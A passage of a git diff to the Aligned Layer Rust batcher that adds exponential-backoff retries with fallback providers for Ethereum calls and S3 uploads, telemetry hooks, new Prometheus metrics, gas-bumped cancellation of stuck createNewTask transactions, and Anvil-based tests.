SubmitProofResponseMessage::AddToBatchError, + ) + .await; + return; + }; + + // update total_fees_in_queue + if batch_state_lock + .update_user_total_fees_in_queue_of_replacement_message( + &addr, + original_max_fee, + replacement_max_fee, + ) + .is_none() + { + std::mem::drop(batch_state_lock); + warn!("User state for address {addr:?} was not present in batcher user states, but it should be"); + send_message( + ws_conn_sink.clone(), + SubmitProofResponseMessage::AddToBatchError, + ) + .await; }; } @@ -718,14 +943,27 @@ impl Batcher { } } + /// Gets the user nonce from Ethereum. + /// Retries on recoverable errors using exponential backoff up to `ETHEREUM_CALL_MAX_RETRIES` times: + /// (0,5 secs - 1 secs - 2 secs - 4 secs - 8 secs). async fn get_user_nonce_from_ethereum( &self, addr: Address, - ) -> Result> { - match self.payment_service.user_nonces(addr).call().await { - Ok(nonce) => Ok(nonce), - Err(_) => self.payment_service_fallback.user_nonces(addr).call().await, - } + ) -> Result> { + retry_function( + || { + get_user_nonce_from_ethereum_retryable( + &self.payment_service, + &self.payment_service_fallback, + addr, + ) + }, + ETHEREUM_CALL_MIN_RETRY_DELAY, + ETHEREUM_CALL_BACKOFF_FACTOR, + ETHEREUM_CALL_MAX_RETRIES, + ETHEREUM_CALL_MAX_RETRY_DELAY, + ) + .await } /// Adds verification data to the current batch queue. @@ -781,6 +1019,17 @@ impl Batcher { )); }; + let Some(current_total_fees_in_queue) = batch_state_lock + .get_user_total_fees_in_queue(&proof_submitter_addr) + .await + else { + error!("User state of address {proof_submitter_addr} was not found when trying to update user state. This user state should have been present"); + std::mem::drop(batch_state_lock); + return Err(BatcherError::AddressNotFoundInUserStates( + proof_submitter_addr, + )); + }; + // User state is updated if batch_state_lock .update_user_state( @@ -788,6 +1037,7 @@ impl Batcher { nonce + U256::one(), max_fee, user_proof_count + 1, + current_total_fees_in_queue + max_fee, ) .is_none() { @@ -826,7 +1076,7 @@ impl Batcher { if current_batch_len < 2 { info!( - "Current batch has {} proof. Waiting for more proofs...", + "Current batch has {} proofs. Waiting for more proofs...", current_batch_len ); return None; @@ -852,31 +1102,35 @@ impl Batcher { // Set the batch posting flag to true *batch_posting = true; let batch_queue_copy = batch_state_lock.batch_queue.clone(); - let (resulting_batch_queue, finalized_batch) = - batch_queue::try_build_batch(batch_queue_copy, gas_price, self.max_batch_size) - .inspect_err(|e| { - *batch_posting = false; - match e { - // We can't post a batch since users are not willing to pay the needed fee, wait for more proofs - BatcherError::BatchCostTooHigh => { - info!("No working batch found. Waiting for more proofs") - } - // FIXME: We should refactor this code and instead of returning None, return an error. - // See issue https://github.com/yetanotherco/aligned_layer/issues/1046. - e => error!("Unexpected error: {:?}", e), - } - }) - .ok()?; + let (resulting_batch_queue, finalized_batch) = batch_queue::try_build_batch( + batch_queue_copy, + gas_price, + self.max_batch_byte_size, + self.max_batch_proof_qty, + ) + .inspect_err(|e| { + *batch_posting = false; + match e { + // We can't post a batch since users are not willing to pay the needed fee, wait for more proofs + BatcherError::BatchCostTooHigh => { + info!("No working batch found. Waiting for more proofs") + } + // FIXME: We should refactor this code and instead of returning None, return an error. + // See issue https://github.com/yetanotherco/aligned_layer/issues/1046. + e => error!("Unexpected error: {:?}", e), + } + }) + .ok()?; batch_state_lock.batch_queue = resulting_batch_queue; - let updated_user_proof_count_and_min_fee = - batch_state_lock.get_user_proofs_in_batch_and_min_fee(); + let new_user_states = // proofs, max_fee_limit, total_fees_in_queue + batch_state_lock.calculate_new_user_states_data(); let user_addresses: Vec
= batch_state_lock.user_states.keys().cloned().collect(); + let default_value = (0, U256::MAX, U256::zero()); for addr in user_addresses.iter() { - let (proof_count, min_fee) = updated_user_proof_count_and_min_fee - .get(addr) - .unwrap_or(&(0, U256::MAX)); + let (proof_count, max_fee_limit, total_fees_in_queue) = + new_user_states.get(addr).unwrap_or(&default_value); // FIXME: The case where a the update functions return `None` can only happen when the user was not found // in the `user_states` map should not really happen here, but doing this check so that we don't unwrap. @@ -885,7 +1139,8 @@ impl Batcher { // Now we update the user states related to the batch (proof count in batch and min fee in batch) batch_state_lock.update_user_proof_count(addr, *proof_count)?; - batch_state_lock.update_user_min_fee(addr, *min_fee)?; + batch_state_lock.update_user_max_fee_limit(addr, *max_fee_limit)?; + batch_state_lock.update_user_total_fees_in_queue(addr, *total_fees_in_queue)?; } Some(finalized_batch) @@ -943,6 +1198,14 @@ impl Batcher { .map(VerificationCommitmentBatch::hash_data) .collect(); + if let Err(e) = self + .telemetry + .init_task_trace(&hex::encode(batch_merkle_tree.root)) + .await + { + error!("Failed to initialize task trace on telemetry: {:?}", e); + } + if let Err(e) = self .submit_batch( &batch_bytes, @@ -953,12 +1216,23 @@ impl Batcher { ) .await { + let reason = format!("{:?}", e); + if let Err(e) = self + .telemetry + .task_creation_failed(&hex::encode(batch_merkle_tree.root), &reason) + .await + { + error!("Failed to send task status to telemetry: {:?}", e); + } for entry in finalized_batch.into_iter() { if let Some(ws_sink) = entry.messaging_sink { let merkle_root = hex::encode(batch_merkle_tree.root); send_message( ws_sink.clone(), - ResponseMessage::CreateNewTaskError(merkle_root), + SubmitProofResponseMessage::CreateNewTaskError( + merkle_root, + format!("{:?}", e), + ), ) .await } else { @@ -979,7 +1253,7 @@ impl Batcher { let mut batch_state_lock = self.batch_state.lock().await; for (entry, _) in batch_state_lock.batch_queue.iter() { if let Some(ws_sink) = entry.messaging_sink.as_ref() { - send_message(ws_sink.clone(), ResponseMessage::BatchReset).await; + send_message(ws_sink.clone(), SubmitProofResponseMessage::BatchReset).await; } else { warn!("Websocket sink was found empty. This should only happen in tests"); } @@ -1013,12 +1287,15 @@ impl Batcher { /// Receives new block numbers, checks if conditions are met for submission and /// finalizes the batch. async fn handle_new_block(&self, block_number: u64) -> Result<(), BatcherError> { - let gas_price_future = self.get_gas_price(); + let gas_price_future = get_gas_price( + self.batcher_signer.provider(), + self.batcher_signer_fallback.provider(), + ); let disabled_verifiers_future = self.disabled_verifiers(); let (gas_price, disable_verifiers) = tokio::join!(gas_price_future, disabled_verifiers_future); - let gas_price = gas_price.ok_or(BatcherError::GasPriceError)?; + let gas_price = gas_price.map_err(|_| BatcherError::GasPriceError)?; { let new_disable_verifiers = disable_verifiers @@ -1057,21 +1334,20 @@ impl Batcher { finalized_batch: &[BatchQueueEntry], gas_price: U256, ) -> Result<(), BatcherError> { - let s3_client = self.s3_client.clone(); let batch_merkle_root_hex = hex::encode(batch_merkle_root); info!("Batch merkle root: 0x{}", batch_merkle_root_hex); let file_name = batch_merkle_root_hex.clone() + ".json"; info!("Uploading batch to S3..."); - s3::upload_object( - &s3_client, - &self.s3_bucket_name, - batch_bytes.to_vec(), - &file_name, - ) - .await - .map_err(|e| BatcherError::BatchUploadError(e.to_string()))?; + self.upload_batch_to_s3(batch_bytes, &file_name).await?; + if let Err(e) = self + .telemetry + .task_uploaded_to_s3(&batch_merkle_root_hex) + .await + { + error!("Failed to send task status to telemetry: {:?}", e); + }; info!("Batch sent to S3 with name: {}", file_name); info!("Uploading batch to contract"); @@ -1104,6 +1380,18 @@ impl Batcher { .gas_price_used_on_latest_batch .set(gas_price.as_u64() as i64); + if let Err(e) = self + .telemetry + .task_created( + &hex::encode(batch_merkle_root), + ethers::utils::format_ether(fee_per_proof), + num_proofs_in_batch, + ) + .await + { + error!("Failed to send task status to telemetry: {:?}", e); + }; + match self .create_new_task( *batch_merkle_root, @@ -1130,6 +1418,10 @@ impl Batcher { } } + /// Sends a `create_new_task` transaction to Ethereum and waits for a maximum of 3 blocks for the receipt. + /// Retries up to `ETHEREUM_CALL_MAX_RETRIES` times using exponential backoff on recoverable errors while trying to send the transaction: + /// (0,5 secs - 1 secs - 2 secs - 4 secs - 8 secs). + /// `ReceiptNotFoundError` is treated as non-recoverable, and the transaction will be canceled using `cancel_create_new_task_tx` in that case. async fn create_new_task( &self, batch_merkle_root: [u8; 32], @@ -1137,39 +1429,97 @@ impl Batcher { proof_submitters: Vec
, fee_params: CreateNewTaskFeeParams, ) -> Result { - info!("Creating task for: 0x{}", hex::encode(batch_merkle_root)); - - match try_create_new_task( - batch_merkle_root, - batch_data_pointer.clone(), - proof_submitters.clone(), - fee_params.clone(), - &self.payment_service, - ) - .await - { - Ok(receipt) => Ok(receipt), - Err(BatcherSendError::TransactionReverted(err)) => { - // Since transaction was reverted, we don't want to retry with fallback. - warn!("Transaction reverted {:?}", err); - - Err(BatcherError::TransactionSendError) - } - Err(_) => { - let receipt = try_create_new_task( + let result = retry_function( + || { + create_new_task_retryable( batch_merkle_root, - batch_data_pointer, - proof_submitters, - fee_params, + batch_data_pointer.clone(), + proof_submitters.clone(), + fee_params.clone(), + self.transaction_wait_timeout, + &self.payment_service, &self.payment_service_fallback, ) - .await?; - + }, + ETHEREUM_CALL_MIN_RETRY_DELAY, + ETHEREUM_CALL_BACKOFF_FACTOR, + ETHEREUM_CALL_MAX_RETRIES, + ETHEREUM_CALL_MAX_RETRY_DELAY, + ) + .await; + match result { + Ok(receipt) => { + if let Err(e) = self + .telemetry + .task_sent(&hex::encode(batch_merkle_root), receipt.transaction_hash) + .await + { + error!("Failed to send task status to telemetry: {:?}", e); + } Ok(receipt) } + Err(RetryError::Permanent(BatcherError::ReceiptNotFoundError)) => { + self.metrics.canceled_batches.inc(); + self.cancel_create_new_task_tx(fee_params.gas_price).await; + Err(BatcherError::ReceiptNotFoundError) + } + Err(RetryError::Permanent(e)) | Err(RetryError::Transient(e)) => Err(e), } } + /// Sends a transaction to Ethereum with the same nonce as the previous one to override it. + /// Retries on recoverable errors with exponential backoff. + /// Bumps the fee if not included in 3 blocks, using `calculate_bumped_gas_price`. + /// In the first 5 attemps, bumps the fee every 3 blocks. Then exponential backoff takes over. + /// After 2 hours (attempt 13), retries occur hourly for 1 day (33 retries). + pub async fn cancel_create_new_task_tx(&self, old_tx_gas_price: U256) { + info!("Cancelling createNewTask transaction..."); + let iteration = Arc::new(Mutex::new(0)); + let previous_gas_price = Arc::new(Mutex::new(old_tx_gas_price)); + + if let Err(e) = retry_function( + || async { + let mut iteration = iteration.lock().await; + let mut previous_gas_price = previous_gas_price.lock().await; + + let current_gas_price = match get_gas_price( + self.batcher_signer.provider(), + self.batcher_signer_fallback.provider(), + ) + .await + { + Ok(gas_price) => gas_price, + Err(e) => return Err(RetryError::Transient(e)), + }; + + let bumped_gas_price = + calculate_bumped_gas_price(*previous_gas_price, current_gas_price, *iteration); + + *iteration += 1; + *previous_gas_price = bumped_gas_price; + + cancel_create_new_task_retryable( + &self.batcher_signer, + &self.batcher_signer_fallback, + bumped_gas_price, + self.transaction_wait_timeout, + ) + .await + }, + BUMP_MIN_RETRY_DELAY, + BUMP_BACKOFF_FACTOR, + BUMP_MAX_RETRIES, + BUMP_MAX_RETRY_DELAY, + ) + .await + { + error!("Could not cancel createNewTask transaction: {e}"); + return; + }; + + info!("createNewTask transaction successfully canceled"); + } + /// Only relevant for testing and for users to easily use Aligned fn is_nonpaying(&self, addr: &Address) -> bool { self.non_paying_config @@ -1186,12 +1536,12 @@ impl Batcher { async fn handle_nonpaying_msg( &self, ws_sink: WsMessageSink, - client_msg: &ClientMessage, + client_msg: &SubmitProofMessage, ) -> Result<(), Error> { info!("Handling nonpaying message"); let Some(non_paying_config) = self.non_paying_config.as_ref() else { warn!("There isn't a non-paying configuration loaded. This message will be ignored"); - send_message(ws_sink.clone(), ValidityResponseMessage::InvalidNonce).await; + send_message(ws_sink.clone(), SubmitProofResponseMessage::InvalidNonce).await; return Ok(()); }; @@ -1200,7 +1550,7 @@ impl Batcher { error!("Could not get balance for non-paying address {replacement_addr:?}"); send_message( ws_sink.clone(), - ValidityResponseMessage::InsufficientBalance(replacement_addr), + SubmitProofResponseMessage::InsufficientBalance(replacement_addr), ) .await; return Ok(()); @@ -1210,32 +1560,23 @@ impl Batcher { error!("Insufficient funds for non-paying address {replacement_addr:?}"); send_message( ws_sink.clone(), - ValidityResponseMessage::InsufficientBalance(replacement_addr), + SubmitProofResponseMessage::InsufficientBalance(replacement_addr), ) .await; return Ok(()); } let batch_state_lock = self.batch_state.lock().await; - let Some(non_paying_nonce) = batch_state_lock.get_user_nonce(&replacement_addr).await - else { - std::mem::drop(batch_state_lock); - error!("Nonce for non-paying address {replacement_addr:?} not found in cache."); - send_message(ws_sink.clone(), ValidityResponseMessage::EthRpcError).await; - return Ok(()); - }; - - debug!("Non-paying nonce: {:?}", non_paying_nonce); let nonced_verification_data = NoncedVerificationData::new( client_msg.verification_data.verification_data.clone(), - non_paying_nonce, + client_msg.verification_data.nonce, DEFAULT_MAX_FEE_PER_PROOF.into(), // 13_000 gas per proof * 100 gwei gas price (upper bound) self.chain_id, self.payment_service.address(), ); - let client_msg = ClientMessage::new( + let client_msg = SubmitProofMessage::new( nonced_verification_data.clone(), non_paying_config.replacement.clone(), ) @@ -1253,64 +1594,101 @@ impl Batcher { .await { info!("Error while adding nonpaying address entry to batch: {e:?}"); - send_message(ws_sink, ValidityResponseMessage::AddToBatchError).await; + send_message(ws_sink, SubmitProofResponseMessage::AddToBatchError).await; return Ok(()); }; info!("Non-paying verification data message handled"); - send_message(ws_sink, ValidityResponseMessage::Valid).await; Ok(()) } /// Gets the balance of user with address `addr` from Ethereum. + /// Retries on recoverable errors using exponential backoff up to `ETHEREUM_CALL_MAX_RETRIES` times: + /// (0,5 secs - 1 secs - 2 secs - 4 secs - 8 secs) /// Returns `None` if the balance couldn't be returned /// FIXME: This should return a `Result` instead. async fn get_user_balance(&self, addr: &Address) -> Option { - if let Ok(balance) = self.payment_service.user_balances(*addr).call().await { - return Some(balance); - }; - - self.payment_service_fallback - .user_balances(*addr) - .call() - .await - .inspect_err(|_| warn!("Failed to get balance for address {:?}", addr)) - .ok() + retry_function( + || { + get_user_balance_retryable( + &self.payment_service, + &self.payment_service_fallback, + addr, + ) + }, + ETHEREUM_CALL_MIN_RETRY_DELAY, + ETHEREUM_CALL_BACKOFF_FACTOR, + ETHEREUM_CALL_MAX_RETRIES, + ETHEREUM_CALL_MAX_RETRY_DELAY, + ) + .await + .ok() } + /// Checks if the user's balance is unlocked for a given address. + /// Retries on recoverable errors using exponential backoff up to `ETHEREUM_CALL_MAX_RETRIES` times: + /// (0,5 secs - 1 secs - 2 secs - 4 secs - 8 secs). + /// Returns `false` if an error occurs during the retries. async fn user_balance_is_unlocked(&self, addr: &Address) -> bool { - if let Ok(unlock_block) = self.payment_service.user_unlock_block(*addr).call().await { - return unlock_block != U256::zero(); - } - if let Ok(unlock_block) = self - .payment_service_fallback - .user_unlock_block(*addr) - .call() - .await - { - return unlock_block != U256::zero(); - } - warn!("Could not get user locking state"); - false + let Ok(unlocked) = retry_function( + || { + user_balance_is_unlocked_retryable( + &self.payment_service, + &self.payment_service_fallback, + addr, + ) + }, + ETHEREUM_CALL_MIN_RETRY_DELAY, + ETHEREUM_CALL_BACKOFF_FACTOR, + ETHEREUM_CALL_MAX_RETRIES, + ETHEREUM_CALL_MAX_RETRY_DELAY, + ) + .await + else { + warn!("Could not get user locking state."); + return false; + }; + unlocked } - /// Gets the current gas price from Ethereum. - /// Returns `None` if the gas price couldn't be returned - /// FIXME: This should return a `Result` instead. - async fn get_gas_price(&self) -> Option { - if let Ok(gas_price) = self - .eth_ws_provider - .get_gas_price() - .await - .inspect_err(|e| warn!("Failed to get gas price. Trying with fallback: {e:?}")) - { - return Some(gas_price); - } + /// Uploads the batch to s3. + /// Retries on recoverable errors using exponential backoff up to `ETHEREUM_CALL_MAX_RETRIES` times: + /// (0,5 secs - 1 secs - 2 secs - 4 secs - 8 secs). + async fn upload_batch_to_s3( + &self, + batch_bytes: &[u8], + file_name: &str, + ) -> Result<(), BatcherError> { + retry_function( + || { + Self::upload_batch_to_s3_retryable( + batch_bytes, + file_name, + self.s3_client.clone(), + &self.s3_bucket_name, + ) + }, + ETHEREUM_CALL_MIN_RETRY_DELAY, + ETHEREUM_CALL_BACKOFF_FACTOR, + ETHEREUM_CALL_MAX_RETRIES, + ETHEREUM_CALL_MAX_RETRY_DELAY, + ) + .await + .map_err(|e| BatcherError::BatchUploadError(e.to_string())) + } - self.eth_ws_provider_fallback - .get_gas_price() + async fn upload_batch_to_s3_retryable( + batch_bytes: &[u8], + file_name: &str, + s3_client: S3Client, + s3_bucket_name: &str, + ) -> Result<(), RetryError> { + s3::upload_object(&s3_client, s3_bucket_name, batch_bytes.to_vec(), file_name) .await - .inspect_err(|e| warn!("Failed to get gas price: {e:?}")) - .ok() + .map_err(|e| { + warn!("Error uploading batch to s3 {e}"); + RetryError::Transient(e.to_string()) + })?; + Ok(()) } } diff --git a/batcher/aligned-batcher/src/metrics.rs b/batcher/aligned-batcher/src/metrics.rs index c9a08cd2a..231a4795f 100644 --- a/batcher/aligned-batcher/src/metrics.rs +++ b/batcher/aligned-batcher/src/metrics.rs @@ -1,7 +1,10 @@ use std::{thread, time::Duration}; // Prometheus -use prometheus::{opts, register_int_counter, register_int_gauge, IntCounter, IntGauge}; +use prometheus::{ + opts, register_int_counter, register_int_counter_vec, register_int_gauge, IntCounter, + IntCounterVec, IntGauge, +}; use warp::{Filter, Rejection, Reply}; @@ -11,6 +14,8 @@ pub struct BatcherMetrics { pub received_proofs: IntCounter, pub sent_batches: IntCounter, pub reverted_batches: IntCounter, + pub canceled_batches: IntCounter, + pub user_errors: IntCounterVec, pub batcher_started: IntCounter, pub gas_price_used_on_latest_batch: IntGauge, pub broken_ws_connections: IntCounter, @@ -25,6 +30,12 @@ impl BatcherMetrics { let sent_batches = register_int_counter!(opts!("sent_batches", "Sent Batches"))?; let reverted_batches = register_int_counter!(opts!("reverted_batches", "Reverted Batches"))?; + let canceled_batches = + register_int_counter!(opts!("canceled_batches", "Canceled Batches"))?; + let user_errors = register_int_counter_vec!( + opts!("user_errors", "User Errors"), + &["error_type", "proving_system"] + )?; let batcher_started = register_int_counter!(opts!("batcher_started", "Batcher Started"))?; let gas_price_used_on_latest_batch = register_int_gauge!(opts!("gas_price_used_on_latest_batch", "Gas Price"))?; @@ -37,6 +48,8 @@ impl BatcherMetrics { registry.register(Box::new(received_proofs.clone()))?; registry.register(Box::new(sent_batches.clone()))?; registry.register(Box::new(reverted_batches.clone()))?; + registry.register(Box::new(canceled_batches.clone()))?; + registry.register(Box::new(user_errors.clone()))?; registry.register(Box::new(gas_price_used_on_latest_batch.clone()))?; registry.register(Box::new(batcher_started.clone()))?; registry.register(Box::new(broken_ws_connections.clone()))?; @@ -56,6 +69,8 @@ impl BatcherMetrics { received_proofs, sent_batches, reverted_batches, + canceled_batches, + user_errors, batcher_started, gas_price_used_on_latest_batch, broken_ws_connections, @@ -84,4 +99,8 @@ impl BatcherMetrics { thread::sleep(Duration::from_secs(2)); self.batcher_started.inc(); } + + pub fn user_error(&self, label_values: &[&str]) { + self.user_errors.with_label_values(label_values).inc(); + } } diff --git a/batcher/aligned-batcher/src/retry/batcher_retryables.rs b/batcher/aligned-batcher/src/retry/batcher_retryables.rs new file mode 100644 index 000000000..ca7bdff01 --- /dev/null +++ b/batcher/aligned-batcher/src/retry/batcher_retryables.rs @@ -0,0 +1,418 @@ +use std::time::Duration; + +use ethers::prelude::*; +use log::{info, warn}; +use tokio::time::timeout; + +use crate::{ + eth::{ + payment_service::{BatcherPaymentService, CreateNewTaskFeeParams, SignerMiddlewareT}, + utils::get_current_nonce, + }, + retry::RetryError, + types::errors::BatcherError, +}; + +pub async fn get_user_balance_retryable( + payment_service: &BatcherPaymentService, + payment_service_fallback: &BatcherPaymentService, + addr: &Address, +) -> Result> { + if let Ok(balance) = payment_service.user_balances(*addr).call().await { + return Ok(balance); + }; + + payment_service_fallback + .user_balances(*addr) + .call() + .await + .map_err(|e| { + warn!("Failed to get balance for address {:?}. Error: {e}", addr); + RetryError::Transient(e.to_string()) + }) +} + +pub async fn get_user_nonce_from_ethereum_retryable( + payment_service: &BatcherPaymentService, + payment_service_fallback: &BatcherPaymentService, + addr: Address, +) -> Result> { + if let Ok(nonce) = payment_service.user_nonces(addr).call().await { + return Ok(nonce); + } + payment_service_fallback + .user_nonces(addr) + .call() + .await + .map_err(|e| { + warn!("Error getting user nonce: {e}"); + RetryError::Transient(e.to_string()) + }) +} + +pub async fn get_current_nonce_retryable( + eth_http_provider: &Provider, + eth_http_provider_fallback: &Provider, + addr: Address, +) -> Result> { + match eth_http_provider.get_transaction_count(addr, None).await { + Ok(current_nonce) => Ok(current_nonce), + Err(_) => eth_http_provider_fallback + .get_transaction_count(addr, None) + .await + .map_err(|e| { + warn!("Error getting user nonce: {e}"); + RetryError::Transient(e) + }), + } +} + +pub async fn user_balance_is_unlocked_retryable( + payment_service: &BatcherPaymentService, + payment_service_fallback: &BatcherPaymentService, + addr: &Address, +) -> Result> { + if let Ok(unlock_block) = payment_service.user_unlock_block(*addr).call().await { + return Ok(unlock_block != U256::zero()); + } + if let Ok(unlock_block) = payment_service_fallback + .user_unlock_block(*addr) + .call() + .await + { + return Ok(unlock_block != U256::zero()); + } + warn!("Failed to get user locking state {:?}", addr); + Err(RetryError::Transient(())) +} + +pub async fn get_gas_price_retryable( + eth_http_provider: &Provider, + eth_http_provider_fallback: &Provider, +) -> Result> { + match eth_http_provider.get_gas_price().await { + Ok(gas_price) => Ok(gas_price), + Err(_) => eth_http_provider_fallback + .get_gas_price() + .await + .map_err(|e| { + warn!("Failed to get fallback gas price: {e:?}"); + RetryError::Transient(e) + }), + } +} + +pub async fn create_new_task_retryable( + batch_merkle_root: [u8; 32], + batch_data_pointer: String, + proofs_submitters: Vec
, + fee_params: CreateNewTaskFeeParams, + transaction_wait_timeout: u64, + payment_service: &BatcherPaymentService, + payment_service_fallback: &BatcherPaymentService, +) -> Result> { + info!("Creating task for: 0x{}", hex::encode(batch_merkle_root)); + let call_fallback; + let call = payment_service + .create_new_task( + batch_merkle_root, + batch_data_pointer.clone(), + proofs_submitters.clone(), + fee_params.fee_for_aggregator, + fee_params.fee_per_proof, + fee_params.respond_to_task_fee_limit, + ) + .gas_price(fee_params.gas_price); + + let pending_tx = match call.send().await { + Ok(pending_tx) => pending_tx, + Err(ContractError::Revert(err)) => { + // Since transaction was reverted, we don't want to retry with fallback. + warn!("Transaction reverted {:?}", err); + return Err(RetryError::Permanent(BatcherError::TransactionSendError( + err.to_string(), + ))); + } + _ => { + call_fallback = payment_service_fallback + .create_new_task( + batch_merkle_root, + batch_data_pointer, + proofs_submitters, + fee_params.fee_for_aggregator, + fee_params.fee_per_proof, + fee_params.respond_to_task_fee_limit, + ) + .gas_price(fee_params.gas_price); + match call_fallback.send().await { + Ok(pending_tx) => pending_tx, + Err(ContractError::Revert(err)) => { + warn!("Transaction reverted {:?}", err); + return Err(RetryError::Permanent(BatcherError::TransactionSendError( + err.to_string(), + ))); + } + Err(err) => { + return Err(RetryError::Transient(BatcherError::TransactionSendError( + err.to_string(), + ))) + } + } + } + }; + + // timeout to prevent a deadlock while waiting for the transaction to be included in a block. + timeout(Duration::from_millis(transaction_wait_timeout), pending_tx) + .await + .map_err(|e| { + warn!("Error while waiting for batch inclusion: {e}"); + RetryError::Permanent(BatcherError::ReceiptNotFoundError) + })? + .map_err(|e| { + warn!("Error while waiting for batch inclusion: {e}"); + RetryError::Permanent(BatcherError::ReceiptNotFoundError) + })? + .ok_or(RetryError::Permanent(BatcherError::ReceiptNotFoundError)) +} + +pub async fn cancel_create_new_task_retryable( + batcher_signer: &SignerMiddlewareT, + batcher_signer_fallback: &SignerMiddlewareT, + bumped_gas_price: U256, + transaction_wait_timeout: u64, +) -> Result> { + let batcher_addr = batcher_signer.address(); + + let current_nonce = get_current_nonce( + batcher_signer.provider(), + batcher_signer_fallback.provider(), + batcher_addr, + ) + .await + .map_err(RetryError::Transient)?; + + let tx = TransactionRequest::new() + .to(batcher_addr) + .value(U256::zero()) + .nonce(current_nonce) + .gas_price(bumped_gas_price); + + let pending_tx = match batcher_signer.send_transaction(tx.clone(), None).await { + Ok(pending_tx) => pending_tx, + Err(_) => batcher_signer_fallback + .send_transaction(tx.clone(), None) + .await + .map_err(|e| RetryError::Transient(ProviderError::CustomError(e.to_string())))?, + }; + + // timeout to prevent a deadlock while waiting for the transaction to be included in a block. + timeout(Duration::from_millis(transaction_wait_timeout), pending_tx) + .await + .map_err(|e| { + warn!("Timeout while waiting for transaction inclusion: {e}"); + RetryError::Transient(ProviderError::CustomError(format!( + "Timeout while waiting for transaction inclusion: {e}" + ))) + })? + .map_err(|e| { + warn!("Error while waiting for tx inclusion: {e}"); + RetryError::Transient(e) + })? + .ok_or(RetryError::Transient(ProviderError::CustomError( + "Receipt not found".to_string(), + ))) +} + +#[cfg(test)] +mod test { + use super::*; + use crate::{ + config::{ContractDeploymentOutput, ECDSAConfig}, + eth::{ + self, get_provider, payment_service::BatcherPaymentService, utils::get_batcher_signer, + }, + }; + use ethers::{ + contract::abigen, + types::{Address, U256}, + utils::{Anvil, AnvilInstance}, + }; + use std::str::FromStr; + + abigen!( + BatcherPaymentServiceContract, + "../aligned-sdk/abi/BatcherPaymentService.json" + ); + + async fn setup_anvil(port: u16) -> (AnvilInstance, BatcherPaymentService) { + let anvil = Anvil::new() + .port(port) + .arg("--load-state") + .arg("../../contracts/scripts/anvil/state/alignedlayer-deployed-anvil-state.json") + .spawn(); + + let eth_rpc_provider = eth::get_provider(format!("http://localhost:{}", port)) + .expect("Failed to get provider"); + + let deployment_output = ContractDeploymentOutput::new( + "../../contracts/script/output/devnet/alignedlayer_deployment_output.json".to_string(), + ); + + let payment_service_addr = deployment_output.addresses.batcher_payment_service.clone(); + + let batcher_signer = get_batcher_signer( + eth_rpc_provider, + ECDSAConfig { + private_key_store_path: "../../config-files/anvil.batcher.ecdsa.key.json" + .to_string(), + private_key_store_password: "".to_string(), + }, + ) + .await + .unwrap(); + + let payment_service = + eth::payment_service::get_batcher_payment_service(batcher_signer, payment_service_addr) + .await + .expect("Failed to get Batcher Payment Service contract"); + (anvil, payment_service) + } + + #[tokio::test] + async fn test_get_user_balance_retryable() { + let payment_service; + let dummy_user_addr = + Address::from_str("0x8969c5eD335650692Bc04293B07F5BF2e7A673C0").unwrap(); + { + let _anvil; + (_anvil, payment_service) = setup_anvil(8545u16).await; + + let balance = + get_user_balance_retryable(&payment_service, &payment_service, &dummy_user_addr) + .await + .unwrap(); + + assert_eq!(balance, U256::zero()); + // Anvil is killed when the scope is left + } + + let result = + get_user_balance_retryable(&payment_service, &payment_service, &dummy_user_addr).await; + assert!(matches!(result, Err(RetryError::Transient(_)))); + + // restart anvil + let (_anvil, _) = setup_anvil(8545u16).await; + let balance = + get_user_balance_retryable(&payment_service, &payment_service, &dummy_user_addr) + .await + .unwrap(); + + assert_eq!(balance, U256::zero()); + } + + #[tokio::test] + async fn test_user_balance_is_unlocked_retryable() { + let payment_service; + let dummy_user_addr = + Address::from_str("0x8969c5eD335650692Bc04293B07F5BF2e7A673C0").unwrap(); + + { + let _anvil; + (_anvil, payment_service) = setup_anvil(8546u16).await; + let unlocked = user_balance_is_unlocked_retryable( + &payment_service, + &payment_service, + &dummy_user_addr, + ) + .await + .unwrap(); + + assert_eq!(unlocked, false); + // Anvil is killed when the scope is left + } + + let result = user_balance_is_unlocked_retryable( + &payment_service, + &payment_service, + &dummy_user_addr, + ) + .await; + assert!(matches!(result, Err(RetryError::Transient(_)))); + + // restart Anvil + let (_anvil, _) = setup_anvil(8546u16).await; + let unlocked = user_balance_is_unlocked_retryable( + &payment_service, + &payment_service, + &dummy_user_addr, + ) + .await + .unwrap(); + + assert_eq!(unlocked, false); + } + + #[tokio::test] + async fn test_get_user_nonce_retryable() { + let payment_service; + let dummy_user_addr = + Address::from_str("0x8969c5eD335650692Bc04293B07F5BF2e7A673C0").unwrap(); + { + let _anvil; + (_anvil, payment_service) = setup_anvil(8547u16).await; + let nonce = get_user_nonce_from_ethereum_retryable( + &payment_service, + &payment_service, + dummy_user_addr, + ) + .await + .unwrap(); + + assert_eq!(nonce, U256::zero()); + // Anvil is killed when the scope is left + } + + let result = get_user_nonce_from_ethereum_retryable( + &payment_service, + &payment_service, + dummy_user_addr, + ) + .await; + assert!(matches!(result, Err(RetryError::Transient(_)))); + + // restart Anvil + let (_anvil, _) = setup_anvil(8547u16).await; + + let nonce = get_user_nonce_from_ethereum_retryable( + &payment_service, + &payment_service, + dummy_user_addr, + ) + .await + .unwrap(); + + assert_eq!(nonce, U256::zero()); + } + + #[tokio::test] + async fn test_get_gas_price_retryable() { + let eth_rpc_provider; + { + let (_anvil, _payment_service) = setup_anvil(8548u16).await; + eth_rpc_provider = get_provider("http://localhost:8548".to_string()) + .expect("Failed to get ethereum websocket provider"); + let result = get_gas_price_retryable(ð_rpc_provider, ð_rpc_provider).await; + + assert!(result.is_ok()); + // Anvil is killed when the scope is left + } + let result = get_gas_price_retryable(ð_rpc_provider, ð_rpc_provider).await; + assert!(matches!(result, Err(RetryError::Transient(_)))); + + // restart Anvil + let (_anvil, _) = setup_anvil(8548u16).await; + let result = get_gas_price_retryable(ð_rpc_provider, ð_rpc_provider).await; + + assert!(result.is_ok()); + } +} diff --git a/batcher/aligned-batcher/src/retry/mod.rs b/batcher/aligned-batcher/src/retry/mod.rs new file mode 100644 index 000000000..500f7665c --- /dev/null +++ b/batcher/aligned-batcher/src/retry/mod.rs @@ -0,0 +1,57 @@ +pub mod batcher_retryables; + +use backon::ExponentialBuilder; +use backon::Retryable; +use std::{future::Future, time::Duration}; + +#[derive(Debug)] +pub enum RetryError { + Transient(E), + Permanent(E), +} + +impl std::fmt::Display for RetryError { + fn fmt(&self, f: &mut std::fmt::Formatter) -> std::fmt::Result { + match self { + RetryError::Transient(e) => write!(f, "{}", e), + RetryError::Permanent(e) => write!(f, "{}", e), + } + } +} + +impl RetryError { + pub fn inner(self) -> E { + match self { + 